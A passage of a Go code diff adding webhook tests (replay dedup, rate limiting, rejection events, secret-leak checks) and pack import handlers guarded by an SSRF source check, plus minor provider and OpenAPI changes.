+		var p WebhookReceivedPayload
+		if err := json.Unmarshal(e.Payload, &p); err != nil {
+			t.Fatalf("decode webhook.received payload: %v", err)
+		}
+		out = append(out, p)
+	}
+	return out
+}
+
+// webhookRejectedEvents returns every emitted webhook.rejected payload.
+func webhookRejectedEvents(t *testing.T, state State) []WebhookRejectedPayload {
+	t.Helper()
+	fake, ok := state.EventProvider().(*events.Fake)
+	if !ok {
+		t.Fatalf("event provider is %T, want *events.Fake", state.EventProvider())
+	}
+	var out []WebhookRejectedPayload
+	for _, e := range fake.Events {
+		if e.Type != events.WebhookRejected {
+			continue
+		}
+		var p WebhookRejectedPayload
+		if err := json.Unmarshal(e.Payload, &p); err != nil {
+			t.Fatalf("decode webhook.rejected payload: %v", err)
+		}
+		out = append(out, p)
+	}
+	return out
+}
+
+func lastWebhookRejected(t *testing.T, state State) WebhookRejectedPayload {
+	t.Helper()
+	fake, ok := state.EventProvider().(*events.Fake)
+	if !ok {
+		t.Fatalf("event provider is %T, want *events.Fake", state.EventProvider())
+	}
+	for i := len(fake.Events) - 1; i >= 0; i-- {
+		if fake.Events[i].Type != events.WebhookRejected {
+			continue
+		}
+		var p WebhookRejectedPayload
+		if err := json.Unmarshal(fake.Events[i].Payload, &p); err != nil {
+			t.Fatalf("decode webhook.rejected payload: %v", err)
+		}
+		return p
+	}
+	t.Fatalf("no webhook.rejected event recorded")
+	return WebhookRejectedPayload{}
+}
+
+// (E8-a) A duplicate delivery (same DedupID) is 2xx but dispatches the order
+// exactly once across both; the second delivery emits a deduped received event.
+func TestWebhookDedupSuppressesDuplicateDispatch(t *testing.T) {
+	t.Setenv("GC_WEBHOOK_GITHUB_SECRET", "top-secret-webhook-key-dedup")
+	secret := []byte("top-secret-webhook-key-dedup")
+
+	disp := firedDispatcher()
+	state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+	h := newTestCityHandler(t, state)
+
+	sig := githubSignature(secret, []byte(prLabeledPayload))
+	hdrs := githubHeaders(sig, "dup-1")
+
+	first := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", hdrs)
+	if first.Code != http.StatusAccepted {
+		t.Fatalf("first delivery status = %d, want 202 (body %s)", first.Code, first.Body.String())
+	}
+	second := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", hdrs)
+	if second.Code < 200 || second.Code >= 300 {
+		t.Fatalf("duplicate delivery status = %d, want 2xx", second.Code)
+	}
+	if !strings.Contains(second.Body.String(), `"deduped":true`) {
+		t.Errorf("duplicate body = %s, want deduped:true", second.Body.String())
+	}
+	if disp.count() != 1 {
+		t.Fatalf("dispatch count across duplicate deliveries = %d, want exactly 1", disp.count())
+	}
+
+	recvs := webhookReceivedEvents(t, state)
+	if len(recvs) != 2 {
+		t.Fatalf("webhook.received events = %d, want 2 (dispatch + deduped)", len(recvs))
+	}
+	if recvs[0].Deduped || !recvs[0].Dispatched {
+		t.Errorf("first received = %+v, want dispatched=true deduped=false", recvs[0])
+	}
+	if !recvs[1].Deduped || recvs[1].Dispatched {
+		t.Errorf("second received = %+v, want deduped=true dispatched=false", recvs[1])
+	}
+}
+
+// slackWebhook is a public slack-v0 webhook that fires pr-review on any event
+// (Event "*"), used to exercise the dedup-key derivation for a coarse signed id.
+func slackWebhook() config.Webhook {
+	return config.Webhook{
+		Name:        "slack",
+		Publication: config.ServicePublicationConfig{Visibility: "public"},
+		Verify:      config.WebhookVerify{Scheme: "slack-v0", SecretEnv: "GC_WEBHOOK_SLACK_SECRET"},
+		Rules:       []config.WebhookRule{{Event: "*", Order: prReviewOrderName}},
+	}
+}
+
+func slackHeaders(secret []byte, ts, body string) map[string]string {
+	base := []byte("v0:" + ts + ":" + body)
+	mac := hmac.New(sha256.New, secret)
+	mac.Write(base)
+	return map[string]string{
+		"X-Slack-Signature":         "v0=" + hex.EncodeToString(mac.Sum(nil)),
+		"X-Slack-Request-Timestamp": ts,
+	}
+}
+
+// (FIX 3) An attacker-mutable delivery id must not be part of the dedup key: two
+// deliveries of the SAME signed body with DIFFERENT X-GitHub-Delivery values
+// dedup to ONE dispatch. The key is the body hash (signature-covered), so minting
+// a fresh delivery id cannot replay the order from the public endpoint.
+func TestWebhookDedupIgnoresDeliveryHeader(t *testing.T) {
+	t.Setenv("GC_WEBHOOK_GITHUB_SECRET", "top-secret-webhook-key-fix3")
+	secret := []byte("top-secret-webhook-key-fix3")
+
+	disp := firedDispatcher()
+	state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+	h := newTestCityHandler(t, state)
+
+	sig := githubSignature(secret, []byte(prLabeledPayload))
+	first := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", githubHeaders(sig, "fresh-A"))
+	if first.Code != http.StatusAccepted {
+		t.Fatalf("first delivery status = %d, want 202 (body %s)", first.Code, first.Body.String())
+	}
+	// Same signed body, a FRESH delivery id (the attacker's replay handle).
+	second := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", githubHeaders(sig, "fresh-B"))
+	if second.Code < 200 || second.Code >= 300 {
+		t.Fatalf("replayed body status = %d, want 2xx", second.Code)
+	}
+	if disp.count() != 1 {
+		t.Fatalf("same body + fresh delivery id must dedup to ONE dispatch (key ignores the header), got %d", disp.count())
+	}
+}
+
+// (FIX 4) Two DISTINCT slack deliveries in the same wall-clock second (same signed
+// ts) must BOTH dispatch: the key is the per-delivery body hash, so distinct
+// bodies never collide. The old ts-granular key silently dropped one with a 2xx.
+func TestWebhookSlackDistinctBodiesSameTsBothDispatch(t *testing.T) {
+	t.Setenv("GC_WEBHOOK_SLACK_SECRET", "slack-webhook-secret-abcdefgh")
+	secret := []byte("slack-webhook-secret-abcdefgh")
+
+	disp := firedDispatcher()
+	state := newWebhookState(t, slackWebhook(), prReviewOrder(), disp)
+	h := newTestCityHandler(t, state)
+
+	ts := strconv.FormatInt(time.Now().Unix(), 10) // fresh: inside the replay window
+	bodyA := `{"event":{"type":"message"},"n":1}`
+	bodyB := `{"event":{"type":"message"},"n":2}`
+
+	recA := postHook(t, h, state, "slack", bodyA, "203.0.113.7:443", slackHeaders(secret, ts, bodyA))
+	if recA.Code != http.StatusAccepted {
+		t.Fatalf("delivery A status = %d, want 202 (body %s)", recA.Code, recA.Body.String())
+	}
+	recB := postHook(t, h, state, "slack", bodyB, "203.0.113.7:443", slackHeaders(secret, ts, bodyB))
+	if recB.Code != http.StatusAccepted {
+		t.Fatalf("delivery B status = %d, want 202 (body %s)", recB.Code, recB.Body.String())
+	}
+	if disp.count() != 2 {
+		t.Fatalf("two distinct bodies sharing a slack ts must both dispatch, got %d", disp.count())
+	}
+}
+
+// (FIX 6) The built verifier is memoized per webhook so the jwt-jwks JWKS cache
+// persists across deliveries (fetched once, not rebuilt+refetched per request).
+// Two builds with an unchanged config fingerprint return the SAME verifier
+// instance; a changed fingerprint rebuilds. (The complementary "JWKS fetched once
+// across two Verify calls on one verifier" is asserted in
+// webhookverify.TestJWTJWKS_ValidToken.)
+func TestWebhookVerifierMemoizedPerHook(t *testing.T) {
+	state := newFakeState(t)
+	hook := config.Webhook{
+		Name:   "idp",
+		Verify: config.WebhookVerify{Scheme: "jwt-jwks"},
+		Rules:  []config.WebhookRule{{Event: "*", Order: "o"}},
+	}
+	state.cfg.Webhooks = []config.Webhook{hook}
+	state.cfg.WebhookPolicy.JWTPolicies = []config.WebhookJWTPolicy{{
+		Name: "idp", Issuer: "https://idp.example", Audience: "supervisor",
+		JWKSURL: "https://idp.example/.well-known/jwks.json",
+	}}
+	srv := newServer(state, false)
+	cfg := state.Config()
+
+	v1, _, err := srv.buildWebhookVerifier(cfg, hook)
+	if err != nil {
+		t.Fatalf("build 1: %v", err)
+	}
+	v2, _, err := srv.buildWebhookVerifier(cfg, hook)
+	if err != nil {
+		t.Fatalf("build 2: %v", err)
+	}
+	if v1 != v2 {
+		t.Fatal("same-config deliveries must reuse ONE verifier instance so the JWKS cache persists")
+	}
+
+	// A config hot-reload that changes a fingerprinted field rebuilds the verifier.
+	hook2 := hook
+	hook2.Verify.SignatureHeader = "X-Other-Token"
+	v3, _, err := srv.buildWebhookVerifier(cfg, hook2)
+	if err != nil {
+		t.Fatalf("build 3: %v", err)
+	}
+	if v1 == v3 {
+		t.Fatal("a changed config fingerprint must rebuild the verifier")
+	}
+}
+
+// (E8-b) Over the per-webhook rate limit → 429 with Retry-After and no dispatch.
+// FIX 7: the over-limit path is deliberately NOT evented (it would be an
+// un-throttled per-request write on a flood); the 429 + Retry-After is the signal.
+func TestWebhookRateLimitReturns429(t *testing.T) {
+	t.Setenv("GC_WEBHOOK_GITHUB_SECRET", "top-secret-webhook-key-rl")
+	secret := []byte("top-secret-webhook-key-rl")
+
+	disp := firedDispatcher()
+	state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+	// Operator ceiling: one delivery per minute, burst 1 → 2nd back-to-back is 429.
+	state.cfg.WebhookPolicy.RateLimit = &config.WebhookRateLimitConfig{PerMinute: 1, Burst: 1}
+	h, srv := newWebhookHandler(t, state)
+	now := time.Now()
+	srv.webhookLimiter.now = func() time.Time { return now } // freeze: no refill mid-test
+
+	sig := githubSignature(secret, []byte(prLabeledPayload))
+
+	first := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", githubHeaders(sig, "rl-1"))
+	if first.Code != http.StatusAccepted {
+		t.Fatalf("first delivery status = %d, want 202", first.Code)
+	}
+	second := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", githubHeaders(sig, "rl-2"))
+	if second.Code != http.StatusTooManyRequests {
+		t.Fatalf("over-limit status = %d, want 429", second.Code)
+	}
+	if second.Header().Get("Retry-After") == "" {
+		t.Errorf("429 response missing Retry-After header")
+	}
+	if disp.count() != 1 {
+		t.Fatalf("dispatch count = %d, want 1 (the 429 must not dispatch)", disp.count())
+	}
+	// FIX 7: the over-limit request emits NO webhook.rejected event.
+	if rejs := webhookRejectedEvents(t, state); len(rejs) != 0 {
+		t.Errorf("over-limit request must emit no webhook.rejected event, got %d: %+v", len(rejs), rejs)
+	}
+}
+
+// (E8-c) A pack cannot raise its own rate limit above the operator ceiling: a
+// pack-contributed webhook with a huge MaxPerMinute is still limited at the tiny
+// operator ceiling and 429s on the second back-to-back delivery.
+func TestWebhookPackCannotRaiseRateLimitCeiling(t *testing.T) {
+	t.Setenv("GC_WEBHOOK_GITHUB_SECRET", "top-secret-webhook-key-clamp")
+	secret := []byte("top-secret-webhook-key-clamp")
+
+	hook := githubWebhook("public")
+	hook.SourceDir = "packs/evil" // pack-contributed provenance
+	hook.MaxPerMinute = 1_000_000 // pack tries to grant itself a huge limit
+	disp := firedDispatcher()
+	state := newWebhookState(t, hook, prReviewOrder(), disp)
+	// Operator ceiling is tiny; the pack value must be clamped to it.
+	state.cfg.WebhookPolicy.RateLimit = &config.WebhookRateLimitConfig{PerMinute: 1, Burst: 1}
+	h, srv := newWebhookHandler(t, state)
+	now := time.Now()
+	srv.webhookLimiter.now = func() time.Time { return now }
+
+	sig := githubSignature(secret, []byte(prLabeledPayload))
+
+	if rec := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", githubHeaders(sig, "c-1")); rec.Code != http.StatusAccepted {
+		t.Fatalf("first delivery status = %d, want 202", rec.Code)
+	}
+	rec := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", githubHeaders(sig, "c-2"))
+	if rec.Code != http.StatusTooManyRequests {
+		t.Fatalf("second delivery status = %d, want 429 — a pack MaxPerMinute must not raise the operator ceiling", rec.Code)
+	}
+	if disp.count() != 1 {
+		t.Fatalf("dispatch count = %d, want 1", disp.count())
+	}
+}
+
+// (E8-d) A successful delivery emits webhook.received with dispatched=true and
+// the right fields, carrying no arg values.
+func TestWebhookReceivedEventOnDispatch(t *testing.T) {
+	t.Setenv("GC_WEBHOOK_GITHUB_SECRET", "top-secret-webhook-key-recv")
+	secret := []byte("top-secret-webhook-key-recv")
+
+	disp := firedDispatcher() // TrackingID "track-1"
+	state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+	h := newTestCityHandler(t, state)
+
+	sig := githubSignature(secret, []byte(prLabeledPayload))
+	rec := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", githubHeaders(sig, "recv-1"))
+	if rec.Code != http.StatusAccepted {
+		t.Fatalf("status = %d, want 202 (body %s)", rec.Code, rec.Body.String())
+	}
+
+	recvs := webhookReceivedEvents(t, state)
+	if len(recvs) != 1 {
+		t.Fatalf("webhook.received events = %d, want 1", len(recvs))
+	}
+	ev := recvs[0]
+	if ev.Webhook != "github" {
+		t.Errorf("Webhook = %q, want github", ev.Webhook)
+	}
+	if ev.Scheme != "github-hmac-sha256" {
+		t.Errorf("Scheme = %q, want github-hmac-sha256", ev.Scheme)
+	}
+	if ev.EventType != "pull_request" {
+		t.Errorf("EventType = %q, want pull_request", ev.EventType)
+	}
+	if ev.DedupID != "recv-1" {
+		t.Errorf("DedupID = %q, want recv-1", ev.DedupID)
+	}
+	if !ev.Dispatched || !ev.Matched || ev.Deduped {
+		t.Errorf("flags = {dispatched:%v matched:%v deduped:%v}, want {true,true,false}", ev.Dispatched, ev.Matched, ev.Deduped)
+	}
+	if ev.RuleIndex != 0 {
+		t.Errorf("RuleIndex = %d, want 0", ev.RuleIndex)
+	}
+	if ev.Order != prReviewOrderName {
+		t.Errorf("Order = %q, want %q", ev.Order, prReviewOrderName)
+	}
+	if ev.TrackingID != "track-1" {
+		t.Errorf("TrackingID = %q, want track-1", ev.TrackingID)
+	}
+	if ev.BodySize != len(prLabeledPayload) {
+		t.Errorf("BodySize = %d, want %d", ev.BodySize, len(prLabeledPayload))
+	}
+}
+
+// (E8-e) webhook.rejected fires with the correct reason on a verify failure and
+// on a perimeter denial.
+func TestWebhookRejectedEventReasons(t *testing.T) {
+	t.Run("verify failure", func(t *testing.T) {
+		t.Setenv("GC_WEBHOOK_GITHUB_SECRET", "top-secret-webhook-key-vf")
+		disp := firedDispatcher()
+		state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+		h := newTestCityHandler(t, state)
+
+		rec := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", githubHeaders("sha256=deadbeef", "vf-1"))
+		if rec.Code != http.StatusUnauthorized {
+			t.Fatalf("verify-failure status = %d, want 401", rec.Code)
+		}
+		if disp.count() != 0 {
+			t.Fatalf("verify failure must not dispatch, count = %d", disp.count())
+		}
+		rej := lastWebhookRejected(t, state)
+		if rej.Reason != reasonVerifyFailed {
+			t.Errorf("reason = %q, want %q", rej.Reason, reasonVerifyFailed)
+		}
+		if rej.Status != http.StatusUnauthorized {
+			t.Errorf("status = %d, want 401", rej.Status)
+		}
+	})
+
+	t.Run("perimeter denial", func(t *testing.T) {
+		t.Setenv("GC_WEBHOOK_GITHUB_SECRET", "top-secret-webhook-key-pd")
+		disp := firedDispatcher()
+		// A private webhook denies an external (non-loopback) delivery at the perimeter.
+		state := newWebhookState(t, githubWebhook("private"), prReviewOrder(), disp)
+		h := newTestCityHandler(t, state)
+
+		rec := postHook(t, h, state, "github", prLabeledPayload, "198.51.100.10:9000", map[string]string{"X-GitHub-Event": "pull_request"})
+		if rec.Code != http.StatusNotFound {
+			t.Fatalf("perimeter-denied status = %d, want 404", rec.Code)
+		}
+		if disp.count() != 0 {
+			t.Fatalf("perimeter denial must not dispatch, count = %d", disp.count())
+		}
+		rej := lastWebhookRejected(t, state)
+		if rej.Reason != reasonPerimeterDenied {
+			t.Errorf("reason = %q, want %q", rej.Reason, reasonPerimeterDenied)
+		}
+	})
+}
+
+// (E8-f) No secret, signature, or raw body ever appears in an emitted event.
+func TestWebhookEventsNeverLeakSecrets(t *testing.T) {
+	const secretStr = "top-secret-webhook-key-leak"
+	t.Setenv("GC_WEBHOOK_GITHUB_SECRET", secretStr)
+	secret := []byte(secretStr)
+
+	disp := firedDispatcher()
+	state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+	h := newTestCityHandler(t, state)
+
+	sig := githubSignature(secret, []byte(prLabeledPayload))
+	// A successful dispatch (rich received event) …
+	if rec := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", githubHeaders(sig, "leak-1")); rec.Code != http.StatusAccepted {
+		t.Fatalf("dispatch status = %d, want 202", rec.Code)
+	}
+	// … and a verify failure (rejected event).
+	if rec := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", githubHeaders("sha256=deadbeef", "leak-2")); rec.Code != http.StatusUnauthorized {
+		t.Fatalf("verify-failure status = %d, want 401", rec.Code)
+	}
+
+	fake, ok := state.EventProvider().(*events.Fake)
+	if !ok {
+		t.Fatalf("event provider is %T, want *events.Fake", state.EventProvider())
+	}
+	var asserted int
+	for _, e := range fake.Events {
+		if e.Type != events.WebhookReceived && e.Type != events.WebhookRejected {
+			continue
+		}
+		asserted++
+		blob := string(e.Payload)
+		if strings.Contains(blob, secretStr) {
+			t.Errorf("%s event leaks the secret: %s", e.Type, blob)
+		}
+		if strings.Contains(blob, sig) {
+			t.Errorf("%s event leaks the signature: %s", e.Type, blob)
+		}
+		if strings.Contains(blob, prLabeledPayload) {
+			t.Errorf("%s event leaks the raw body: %s", e.Type, blob)
+		}
+		// The extracted arg value (payload body content) must not appear either.
+		if strings.Contains(blob, "acme/widgets") {
+			t.Errorf("%s event leaks payload content: %s", e.Type, blob)
+		}
+	}
+	if asserted == 0 {
+		t.Fatal("expected webhook events to assert against")
+	}
+}
diff --git a/internal/api/huma_handlers_config.go b/internal/api/huma_handlers_config.go
index f06b94bca5..d403747af4 100644
--- a/internal/api/huma_handlers_config.go
+++ b/internal/api/huma_handlers_config.go
@@ -183,6 +183,9 @@ func (s *Server) humaHandleConfigValidate(_ context.Context, _ *ConfigValidateIn
 	if err := config.ValidateRigs(cfg.Rigs, config.EffectiveHQPrefix(cfg)); err != nil {
 		errors = append(errors, err.Error())
 	}
+	if err := config.ValidateWebhooks(cfg.Webhooks); err != nil {
+		errors = append(errors, err.Error())
+	}
 	if err := config.ValidateServices(cfg.Services); err != nil {
 		errors = append(errors, err.Error())
 	} else if err := workspacesvc.ValidateRuntimeSupport(cfg.Services); err != nil {
diff --git a/internal/api/huma_handlers_packs.go b/internal/api/huma_handlers_packs.go
index f5ad9d17a2..8a1f924baf 100644
--- a/internal/api/huma_handlers_packs.go
+++ b/internal/api/huma_handlers_packs.go
@@ -2,9 +2,39 @@ package api
 
 import (
 	"context"
+	"errors"
 	"sort"
+
+	"github.com/danielgtaylor/huma/v2"
+	"github.com/gastownhall/gascity/internal/fsys"
+	"github.com/gastownhall/gascity/internal/importsvc"
+)
+
+// Seams over importsvc so handler tests can drive list/add/remove without a real
+// network fetch (the same injection style cmd/gc uses for its import tests).
+var (
+	packListImports  = importsvc.ListImports
+	packAddImport    = packAddImportFenced
+	packRemoveImport = packRemoveImportFenced
 )
 
+// packAddImportFenced is the default add seam. It threads validateHTTPPackSource
+// into importsvc as the untrusted-source policy so the SSRF fence covers not just
+// the caller-supplied source (also pre-checked in humaHandlePackAdd) but every
+// transitive import packman resolves during lock sync — a nested internal, file,
+// or link-local import in an accepted public pack's pack.toml is rejected before
+// its git/cache seam runs.
+func packAddImportFenced(fs fsys.FS, cityPath, source, name, version string) (*importsvc.AddResult, error) {
+	return importsvc.AddImportWith(fs, cityPath, source, name, version, importsvc.Deps{SourcePolicy: validateHTTPPackSource})
+}
+
+// packRemoveImportFenced is the default remove seam. Remove re-syncs the lock
+// graph, so it threads the same source policy to fence any transitive import a
+// re-resolution would otherwise fetch.
+func packRemoveImportFenced(fs fsys.FS, cityPath, name string) (*importsvc.RemoveResult, error) {
+	return importsvc.RemoveImportWith(fs, cityPath, name, importsvc.Deps{SourcePolicy: validateHTTPPackSource})
+}
+
 // PackListBody is the response body for GET /v0/packs.
 type PackListBody struct {
 	Packs []packResponse `json:"packs" doc:"Registered packs."`
@@ -15,25 +45,148 @@ type PackListOutput struct {
 	Body PackListBody
 }
 
-// humaHandlePackList is the Huma-typed handler for GET /v0/packs.
+// humaHandlePackList lists the city's direct, removable pack imports — the same
+// [imports.<name>] binding namespace that humaHandlePackAdd writes and
+// humaHandlePackRemove deletes by name — so list/add/remove all operate on one
+// namespace. It deliberately does NOT list the legacy [packs] migration table
+// nor the transitive CollectAllImports closure. GET /v0/city/{cityName}/packs.
 func (s *Server) humaHandlePackList(_ context.Context, _ *PackListInput) (*PackListOutput, error) {
-	cfg := s.state.Config()
-	names := make([]string, 0, len(cfg.Packs))
-	for name := range cfg.Packs {
+	imports, err := packListImports(fsys.OSFS{}, s.state.CityPath())
+	if err != nil {
+		return nil, packImportHTTPError(err)
+	}
+	names := make([]string, 0, len(imports))
+	for name := range imports {
 		names = append(names, name)
 	}
 	sort.Strings(names)
 	packs := make([]packResponse, 0, len(names))
 	for _, name := range names {
-		src := cfg.Packs[name]
+		imp := imports[name]
 		packs = append(packs, packResponse{
-			Name:   name,
-			Source: src.Source,
-			Ref:    src.Ref,
-			Path:   src.Path,
+			Name:    name,
+			Source:  imp.Source,
+			Version: imp.Version,
 		})
 	}
 	out := &PackListOutput{}
 	out.Body.Packs = packs
 	return out, nil
 }
+
+// PackAddInput is the body for POST /v0/city/{cityName}/packs.
+type PackAddInput struct {
+	CityScope
+	Body struct {
+		Source  string `json:"source" minLength:"1" doc:"Pack source: a remote git URL or registry ref (a sub-path of a repo is allowed)." example:"https://github.com/org/repo/tree/main/packs/review"`
+		Name    string `json:"name,omitempty" doc:"Optional local binding name override; derived from the source when omitted."`
+		Version string `json:"version,omitempty" doc:"Optional semver constraint for a git-backed pack." example:"^1.2.0"`
+	}
+}
+
+// PackAddedOutput echoes the binding importsvc durably wrote.
+type PackAddedOutput struct {
+	Body struct {
+		Name      string `json:"name" doc:"The local binding name written to [imports.<name>]."`
+		Source    string `json:"source" doc:"The canonical source string written to the manifest."`
+		Version   string `json:"version,omitempty" doc:"The version constraint written, if any."`
+		GitBacked bool   `json:"git_backed" doc:"Whether the resolved source is git-backed (has a lock entry)."`
+	}
+}
+
+// humaHandlePackAdd adds a pack to the city by import (the gc-import path):
+// fence the caller-supplied source, write the [imports.<name>] entry, resolve +
+// lock + install, so the pack's templates compose into the city.
+// POST /v0/city/{cityName}/packs.
+func (s *Server) humaHandlePackAdd(_ context.Context, input *PackAddInput) (*PackAddedOutput, error) {
+	// SSRF fence: AddImport shells `git ls-remote <source>` synchronously and
+	// its contract requires HTTP callers to validate the source first. Reject
+	// local/file sources and internal-network destinations before the import
+	// seam runs. Kept outside the write lock — it is read-only and may resolve
+	// DNS.
+	if err := validateHTTPPackSource(input.Body.Source); err != nil {
+		return nil, packImportHTTPError(err)
+	}
+	var res *importsvc.AddResult
+	if err := s.serializeConfigWrite(func() error {
+		var addErr error
+		res, addErr = packAddImport(fsys.OSFS{}, s.state.CityPath(), input.Body.Source, input.Body.Name, input.Body.Version)
+		return addErr
+	}); err != nil {
+		return nil, packImportHTTPError(err)
+	}
+	out := &PackAddedOutput{}
+	out.Body.Name = res.Name
+	out.Body.Source = res.Source
+	out.Body.Version = res.Version
+	out.Body.GitBacked = res.GitBacked
+	return out, nil
+}
+
+// PackRemoveInput targets DELETE /v0/city/{cityName}/packs/{name}.
+type PackRemoveInput struct {
+	CityScope
+	Name string `path:"name" doc:"The import binding name to remove (the [imports.<name>] key)."`
+}
+
+// PackRemovedOutput echoes the removed binding.
+type PackRemovedOutput struct {
+	Body struct {
+		Name string `json:"name" doc:"The binding name removed."`
+	}
+}
+
+// humaHandlePackRemove drops a pack import from the city; its templates leave the
+// composed config on the next reload. DELETE /v0/city/{cityName}/packs/{name}.
+func (s *Server) humaHandlePackRemove(_ context.Context, input *PackRemoveInput) (*PackRemovedOutput, error) {
+	var res *importsvc.RemoveResult
+	if err := s.serializeConfigWrite(func() error {
+		var rmErr error
+		res, rmErr = packRemoveImport(fsys.OSFS{}, s.state.CityPath(), input.Name)
+		return rmErr
+	}); err != nil {
+		return nil, packImportHTTPError(err)
+	}
+	out := &PackRemovedOutput{}
+	out.Body.Name = res.Name
+	return out, nil
+}
+
+// serializeConfigWrite runs fn under the per-city config write lock when the
+// state supports it, so pack import add/remove serialize against the
+// configedit.Editor boundary the other city-config mutation handlers use.
+// A State that does not implement ConfigWriteSerializer (e.g. a read-only test
+// double) runs fn directly.
+func (s *Server) serializeConfigWrite(fn func() error) error {
+	if ser, ok := s.state.(ConfigWriteSerializer); ok {
+		return ser.SerializeConfigWrite(fn)
+	}
+	return fn()
+}
+
+// packImportHTTPError maps importsvc sentinels to RFC 9457 problem responses.
+func packImportHTTPError(err error) error {
+	switch {
+	case errors.Is(err, importsvc.ErrInvalidSource), errors.Is(err, importsvc.ErrScopeLoad),
+		errors.Is(err, importsvc.ErrNameDerive), errors.Is(err, importsvc.ErrReservedPrefix):
+		// ErrNameDerive and ErrReservedPrefix are client input-validation failures
+		// (no derivable name, or a reserved "default-rig:" name), so they are 400s
+		// like ErrInvalidSource, not 500s.
+		return huma.Error400BadRequest(err.Error())
+	case errors.Is(err, importsvc.ErrImportExists):
+		return huma.Error409Conflict(err.Error())
+	case errors.Is(err, importsvc.ErrNotFound):
+		return huma.Error404NotFound(err.Error())
+	case errors.Is(err, importsvc.ErrVersionResolveFailed):
+		// Resolving the operator-named source via `git ls-remote` is a genuinely
+		// upstream dependency, so a failure here is a bad gateway.
+		return huma.Error502BadGateway(err.Error())
+	case errors.Is(err, importsvc.ErrInstallFailed):
+		// ErrInstallFailed wraps LOCAL failures too (the import-graph read,
+		// manifest save, lockfile write), not just an upstream clone, so it maps
+		// to a server error — matching importsvc's documented HTTP 500.
+		return huma.Error500InternalServerError("pack install failed", err)
+	default:
+		return huma.Error500InternalServerError("pack import failed", err)
+	}
+}
diff --git a/internal/api/huma_handlers_providers.go b/internal/api/huma_handlers_providers.go
index 9fd3132b3a..ecfc82532e 100644
--- a/internal/api/huma_handlers_providers.go
+++ b/internal/api/huma_handlers_providers.go
@@ -154,6 +154,9 @@ func (s *Server) humaHandleProviderCreate(_ context.Context, input *ProviderCrea
 	if input.Body.OptionsSchemaMerge != nil {
 		spec.OptionsSchemaMerge = *input.Body.OptionsSchemaMerge
 	}
+	if input.Body.OptionDefaults != nil {
+		spec.OptionDefaults = input.Body.OptionDefaults
+	}
 
 	if err := sm.CreateProvider(input.Body.Name, spec); err != nil {
 		return nil, mutationError(err)
@@ -183,6 +186,7 @@ func (s *Server) humaHandleProviderUpdate(_ context.Context, input *ProviderUpda
 		ReadyDelayMs:       input.Body.ReadyDelayMs,
 		Env:                input.Body.Env,
 		OptionsSchemaMerge: input.Body.OptionsSchemaMerge,
+		OptionDefaults:     input.Body.OptionDefaults,
 	}
 	if input.Body.Base != nil {
 		patch.Base = &input.Body.Base
diff --git a/internal/api/huma_handlers_sessions_command.go b/internal/api/huma_handlers_sessions_command.go
index 46dca27f5f..3e3ac791d8 100644
--- a/internal/api/huma_handlers_sessions_command.go
+++ b/internal/api/huma_handlers_sessions_command.go
@@ -214,7 +214,7 @@ func (s *Server) humaHandleSessionCreate(ctx context.Context, input *SessionCrea
 		}
 
 		titleProvider := s.resolveTitleProvider()
-		MaybeGenerateTitleAsync(store.Store, info.ID, body.Title, body.Message, titleProvider, info.WorkDir, func(format string, args ...any) {
+		MaybeGenerateTitleAsync(store, info.ID, body.Title, body.Message, titleProvider, info.WorkDir, func(format string, args ...any) {
 			fmt.Fprintf(os.Stderr, "session %s: "+format+"\n", append([]any{info.ID}, args...)...)
 		})
 	}()
@@ -361,7 +361,7 @@ func (s *Server) humaCreateProviderSession(_ context.Context, store beads.Sessio
 		s.emitSessionCreateSucceeded(reqID, resp)
 		s.persistSessionMeta(store, info.ID, body.ProjectID, optMeta)
 		titleProvider := s.resolveTitleProvider()
-		MaybeGenerateTitleAsync(store.Store, info.ID, body.Title, body.Message, titleProvider, info.WorkDir, func(format string, args ...any) {
+		MaybeGenerateTitleAsync(store, info.ID, body.Title, body.Message, titleProvider, info.WorkDir, func(format string, args ...any) {
 			fmt.Fprintf(os.Stderr, "session %s: "+format+"\n", append([]any{info.ID}, args...)...)
 		})
 	}()
diff --git a/internal/api/huma_types_providers.go b/internal/api/huma_types_providers.go
index 6b62b235b7..b13dc5ffa9 100644
--- a/internal/api/huma_types_providers.go
+++ b/internal/api/huma_types_providers.go
@@ -70,6 +70,7 @@ type ProviderCreateInput struct {
 		ReadyDelayMs       int               `json:"ready_delay_ms,omitempty" doc:"Milliseconds to wait before probing readiness."`
 		Env                map[string]string `json:"env,omitempty" doc:"Environment variables."`
 		OptionsSchemaMerge *string           `json:"options_schema_merge,omitempty" doc:"Options schema merge mode across inheritance chain."`
+		OptionDefaults     map[string]string `json:"option_defaults,omitempty" doc:"Provider option defaults (e.g. model). Keys are merged on update."`
 	}
 }
 
@@ -90,6 +91,7 @@ type ProviderUpdateInput struct {
 		ReadyDelayMs       *int              `json:"ready_delay_ms,omitempty" doc:"Milliseconds to wait before probing readiness."`
 		Env                map[string]string `json:"env,omitempty" doc:"Environment variables."`
 		OptionsSchemaMerge *string           `json:"options_schema_merge,omitempty" doc:"Options schema merge mode across inheritance chain."`
+		OptionDefaults     map[string]string `json:"option_defaults,omitempty" doc:"Provider option defaults (e.g. model). Keys are merged on update."`
 	}
 }
 
diff --git a/internal/api/openapi.json b/internal/api/openapi.json
index 4f88edf5ff..a5bd6d2ca5 100644
--- a/internal/api/openapi.json
+++ b/internal/api/openapi.json
@@ -2439,6 +2439,12 @@
           {
             "$ref": "#/components/schemas/UnboundEventPayload"
           },
+          {
+            "$ref": "#/components/schemas/WebhookReceivedPayload"
+          },
+          {
+            "$ref": "#/components/schemas/WebhookRejectedPayload"
+          },
           {
